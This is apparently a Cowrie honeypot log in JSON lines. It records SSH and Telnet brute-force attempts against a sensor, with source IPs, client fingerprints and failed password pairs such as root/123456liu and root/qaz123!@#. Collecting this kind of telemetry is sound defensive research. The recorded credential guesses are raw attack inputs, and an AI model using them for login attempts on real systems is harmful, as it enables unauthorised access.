{"eventid":"cowrie.login.failed","username":"root","fingerprint":"e2:24:a6:9a:51:4d:3e:d6:32:30:a8:6c:39:b0:a3:bd","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCfx6LYUBG2YcJ2TSKnAIT2PGCaxhO6ynhnfJinSd9fuPj/MVRRo4sbUvj3Vovv5o9guwXAAeyXBriMU3m5logMPvghYOc6/uwxnsSxAq0jX4Ew9pWKBqRH+BzW6RFljIQbcYsYJ5S9B2MFlqHZayVT4myWFQF0BaMHyeuzTue73dOiOUiUlpvAb0dnWJ4xDy606iYo6iSdhbPG1Zp+93KJFA1icB6EnP3Ezk8FCHrc7YOIadoNt521c5mw7KYFcH8RE36ve84oTHGV5vHfGLvOWd0up1Qr2HFnnqrwbxEFl3HdFFfKk29sSP+zeyaNC1ZYtaNHSumk1NhquT1XKhR/","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T17:57:05.982681Z","src_ip":"172.93.102.236","session":"9f634fe67414","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"59:93:8e:69:8d:9b:42:fb:6d:12:88:f0:cc:1e:5f:22","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDFUW/yXGdB5LExufETN+FZBFrE3oYYM6CCF/JaCbOrdEkECbfGexeZa9umk7aL6LFsRNWWMaK5PGt5ZBY/lWwfvlWbkmrQMBi4Zvy+MlVjjYlgWOBkVaKkSoUC6YpYOvbZrThm3Zn1CEiSP/60qYgFal5rZZV2rg1HaO0RzdXWnzZaetehv6TUjGFzeIKzUVZAutUIsC9CyNUUZC6NyLRAtxKXJXl0W4WvdAwAK/+4Czj63wKSUffo0DwUxBMORb3T0rMwbkbaeGNVf9K5nr8CPHHfoTUfEkpChXx93eqSe18cZ9TNFeNW+uOXYiAQgbo0TYzTDbll2uH6hXvZBjez","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 59:93:8e:69:8d:9b:42:fb:6d:12:88:f0:cc:1e:5f:22","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T17:57:05.995946Z","src_ip":"172.93.102.236","session":"9f634fe67414","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"59:93:8e:69:8d:9b:42:fb:6d:12:88:f0:cc:1e:5f:22","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDFUW/yXGdB5LExufETN+FZBFrE3oYYM6CCF/JaCbOrdEkECbfGexeZa9umk7aL6LFsRNWWMaK5PGt5ZBY/lWwfvlWbkmrQMBi4Zvy+MlVjjYlgWOBkVaKkSoUC6YpYOvbZrThm3Zn1CEiSP/60qYgFal5rZZV2rg1HaO0RzdXWnzZaetehv6TUjGFzeIKzUVZAutUIsC9CyNUUZC6NyLRAtxKXJXl0W4WvdAwAK/+4Czj63wKSUffo0DwUxBMORb3T0rMwbkbaeGNVf9K5nr8CPHHfoTUfEkpChXx93eqSe18cZ9TNFeNW+uOXYiAQgbo0TYzTDbll2uH6hXvZBjez","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T17:57:05.999949Z","src_ip":"172.93.102.236","session":"9f634fe67414","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"7f:6a:d5:2a:32:dc:69:73:a0:4a:41:e1:db:ce:4d:0c","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEAwkiSzqyg0cVA5Y0ReLjiviJNxwsZPM7BtnnbGi5861BdjDimQUzGbWcAZQXwe00RyLqFejPkxC9SG8EeqT31I207y6ZrBgnGmRAOtIpyCNmarzLkYRvZkhtxBFjwcwsAPyEwj8rV6lgggEAxktI+fQSxieMp8qY4n4uUEPa+BK1qUwr/tfhYQQJfS7p0TzvbL2L0mYxZP+EUg3UPEM92jEYb/WdELEUEI7WcOUyIWTOdWvIRKeq3yVhOAw+IX3iueUbdKh90a/gDOm3viAuEBFKvwOuLeOzqRYFe3t6ZEeyBnLxRUR0PGpN4370+OQFfedCNqId+Iq5Nom3lgbwDyQ==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 7f:6a:d5:2a:32:dc:69:73:a0:4a:41:e1:db:ce:4d:0c","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T17:57:06.010182Z","src_ip":"172.93.102.236","session":"9f634fe67414","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"7f:6a:d5:2a:32:dc:69:73:a0:4a:41:e1:db:ce:4d:0c","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEAwkiSzqyg0cVA5Y0ReLjiviJNxwsZPM7BtnnbGi5861BdjDimQUzGbWcAZQXwe00RyLqFejPkxC9SG8EeqT31I207y6ZrBgnGmRAOtIpyCNmarzLkYRvZkhtxBFjwcwsAPyEwj8rV6lgggEAxktI+fQSxieMp8qY4n4uUEPa+BK1qUwr/tfhYQQJfS7p0TzvbL2L0mYxZP+EUg3UPEM92jEYb/WdELEUEI7WcOUyIWTOdWvIRKeq3yVhOAw+IX3iueUbdKh90a/gDOm3viAuEBFKvwOuLeOzqRYFe3t6ZEeyBnLxRUR0PGpN4370+OQFfedCNqId+Iq5Nom3lgbwDyQ==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T17:57:06.015238Z","src_ip":"172.93.102.236","session":"9f634fe67414","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"57:94:33:55:ca:99:2a:6a:fa:32:b1:a6:85:69:93:ef","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDU0UXInu3RLI67UAnJSYItyMV6f2T73tifNey2V0FaQx/EnNiH+7UjiRhRXsn3VJLu5edZ2nvyttmhaSeYo3kvhh9ixeeg6pRaPqRnH7gfGFUhoQ/Bj13oFOtKTYo7K7wCQau9PkOK+38E3Bd10mP6Rf4u2/IT3Jd7tXFhjplTjknCj0GlBfDy50ifvw1ESTqejrV1MyfQvZ7u5pGCStr+wVuvlvpBn35SxLPcZiyHoY6d2+z1MrJlVjbFFdGla7R6s4lTlN3SoURq9l8VWxC6KOohHtOcpf65Ta8F0jzhsrCfXFiVjWobUfVzey3pyMcw8kRuuRGRw9d6luPhhl6x","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 57:94:33:55:ca:99:2a:6a:fa:32:b1:a6:85:69:93:ef","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T17:57:06.023999Z","src_ip":"172.93.102.236","session":"9f634fe67414","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"57:94:33:55:ca:99:2a:6a:fa:32:b1:a6:85:69:93:ef","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDU0UXInu3RLI67UAnJSYItyMV6f2T73tifNey2V0FaQx/EnNiH+7UjiRhRXsn3VJLu5edZ2nvyttmhaSeYo3kvhh9ixeeg6pRaPqRnH7gfGFUhoQ/Bj13oFOtKTYo7K7wCQau9PkOK+38E3Bd10mP6Rf4u2/IT3Jd7tXFhjplTjknCj0GlBfDy50ifvw1ESTqejrV1MyfQvZ7u5pGCStr+wVuvlvpBn35SxLPcZiyHoY6d2+z1MrJlVjbFFdGla7R6s4lTlN3SoURq9l8VWxC6KOohHtOcpf65Ta8F0jzhsrCfXFiVjWobUfVzey3pyMcw8kRuuRGRw9d6luPhhl6x","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T17:57:06.028862Z","src_ip":"172.93.102.236","session":"9f634fe67414","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.1","message":"Connection lost after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T17:57:06.039449Z","src_ip":"172.93.102.236","session":"9f634fe67414","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"43.153.70.247","src_port":37706,"dst_ip":"10.17.0.5","dst_port":22,"session":"3c0b472d7900","protocol":"ssh","message":"New connection: 43.153.70.247:37706 (10.17.0.5:22) [session: 3c0b472d7900]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T17:57:13.892421Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T17:57:13.897269Z","src_ip":"43.153.70.247","session":"3c0b472d7900","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T17:57:13.966339Z","src_ip":"43.153.70.247","session":"3c0b472d7900","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"mihai","message":"login attempt [root/mihai] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T17:57:14.273221Z","src_ip":"43.153.70.247","session":"3c0b472d7900","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T17:57:15.346096Z","src_ip":"43.153.70.247","session":"3c0b472d7900","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"43.135.177.217","src_port":33506,"dst_ip":"10.17.0.5","dst_port":22,"session":"9bebabb01304","protocol":"ssh","message":"New connection: 43.135.177.217:33506 (10.17.0.5:22) [session: 9bebabb01304]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T17:57:26.389721Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T17:57:26.394607Z","src_ip":"43.135.177.217","session":"9bebabb01304","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T17:57:26.464001Z","src_ip":"43.135.177.217","session":"9bebabb01304","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"123456liu","message":"login attempt [root/123456liu] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T17:57:26.767570Z","src_ip":"43.135.177.217","session":"9bebabb01304","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T17:57:27.838653Z","src_ip":"43.135.177.217","session":"9bebabb01304","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"43.173.84.253","src_port":35696,"dst_ip":"159.203.135.109","dst_port":22,"session":"bd33eb3d28ae","protocol":"ssh","message":"New connection: 43.173.84.253:35696 (159.203.135.109:22) [session: bd33eb3d28ae]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T17:57:31.261456Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T17:57:31.266827Z","src_ip":"43.173.84.253","session":"bd33eb3d28ae","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T17:57:31.334675Z","src_ip":"43.173.84.253","session":"bd33eb3d28ae","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ljsoft","password":"ljsoft","message":"login attempt [ljsoft/ljsoft] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T17:57:31.640056Z","src_ip":"43.173.84.253","session":"bd33eb3d28ae","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T17:57:32.711985Z","src_ip":"43.173.84.253","session":"bd33eb3d28ae","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"167.172.81.52","src_port":54433,"dst_ip":"159.203.135.109","dst_port":22,"session":"97e28bb8c8fc","protocol":"ssh","message":"New connection: 167.172.81.52:54433 (159.203.135.109:22) [session: 97e28bb8c8fc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T17:57:44.349898Z"}
{"eventid":"cowrie.client.version","version":"\u0003\u0000\u0000+&\\xe0\u0000\u0000\u0000\u0000\u0000Cookie: mstshash=hello","message":"Remote SSH version: \u0003\u0000\u0000+&\\xe0\u0000\u0000\u0000\u0000\u0000Cookie: mstshash=hello","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T17:57:44.354926Z","src_ip":"167.172.81.52","session":"97e28bb8c8fc","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.0","message":"Connection lost after 0.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T17:57:44.358719Z","src_ip":"167.172.81.52","session":"97e28bb8c8fc","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"115.226.160.3","src_port":57562,"dst_ip":"10.17.0.5","dst_port":23,"session":"b8eea7e7ba72","protocol":"telnet","message":"New connection: 115.226.160.3:57562 (10.17.0.5:23) [session: b8eea7e7ba72]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T17:57:44.440990Z"}
{"eventid":"cowrie.session.closed","duration":13.330324172973633,"message":"Connection lost after 13 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T17:57:57.771188Z","src_ip":"115.226.160.3","session":"b8eea7e7ba72","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"128.201.9.152","src_port":60266,"dst_ip":"10.17.0.5","dst_port":22,"session":"ada483dd5943","protocol":"ssh","message":"New connection: 128.201.9.152:60266 (10.17.0.5:22) [session: ada483dd5943]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T17:58:10.932857Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T17:58:10.937989Z","src_ip":"128.201.9.152","session":"ada483dd5943","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T17:58:11.063380Z","src_ip":"128.201.9.152","session":"ada483dd5943","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"heist","message":"login attempt [root/heist] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T17:58:11.593489Z","src_ip":"128.201.9.152","session":"ada483dd5943","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T17:58:12.722518Z","src_ip":"128.201.9.152","session":"ada483dd5943","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.137.172.116","src_port":33510,"dst_ip":"10.17.0.5","dst_port":22,"session":"9a434819b5e0","protocol":"ssh","message":"New connection: 45.137.172.116:33510 (10.17.0.5:22) [session: 9a434819b5e0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T17:58:17.683771Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T17:58:17.689106Z","src_ip":"45.137.172.116","session":"9a434819b5e0","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T17:58:17.785765Z","src_ip":"45.137.172.116","session":"9a434819b5e0","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"qaz123!@#","message":"login attempt [root/qaz123!@#] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T17:58:18.206302Z","src_ip":"45.137.172.116","session":"9a434819b5e0","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T17:58:19.313140Z","src_ip":"45.137.172.116","session":"9a434819b5e0","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.139.121","src_port":47160,"dst_ip":"10.17.0.5","dst_port":23,"session":"487920993cd3","protocol":"telnet","message":"New connection: 176.65.139.121:47160 (10.17.0.5:23) [session: 487920993cd3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T17:58:24.601541Z"}
{"eventid":"cowrie.session.closed","duration":4.765223026275635,"message":"Connection lost after 4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T17:58:29.366630Z","src_ip":"176.65.139.121","session":"487920993cd3","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":48336,"dst_ip":"10.17.0.5","dst_port":23,"session":"c6e7be98d998","protocol":"telnet","message":"New connection: 152.42.224.71:48336 (10.17.0.5:23) [session: c6e7be98d998]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T17:58:31.169693Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":48342,"dst_ip":"10.17.0.5","dst_port":23,"session":"f8ac0bfbe0d5","protocol":"telnet","message":"New connection: 152.42.224.71:48342 (10.17.0.5:23) [session: f8ac0bfbe0d5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T17:58:32.222608Z"}
{"eventid":"cowrie.session.connect","src_ip":"43.135.177.217","src_port":44864,"dst_ip":"10.17.0.5","dst_port":22,"session":"1a1165a73ba2","protocol":"ssh","message":"New connection: 43.135.177.217:44864 (10.17.0.5:22) [session: 1a1165a73ba2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T17:58:33.047501Z"}
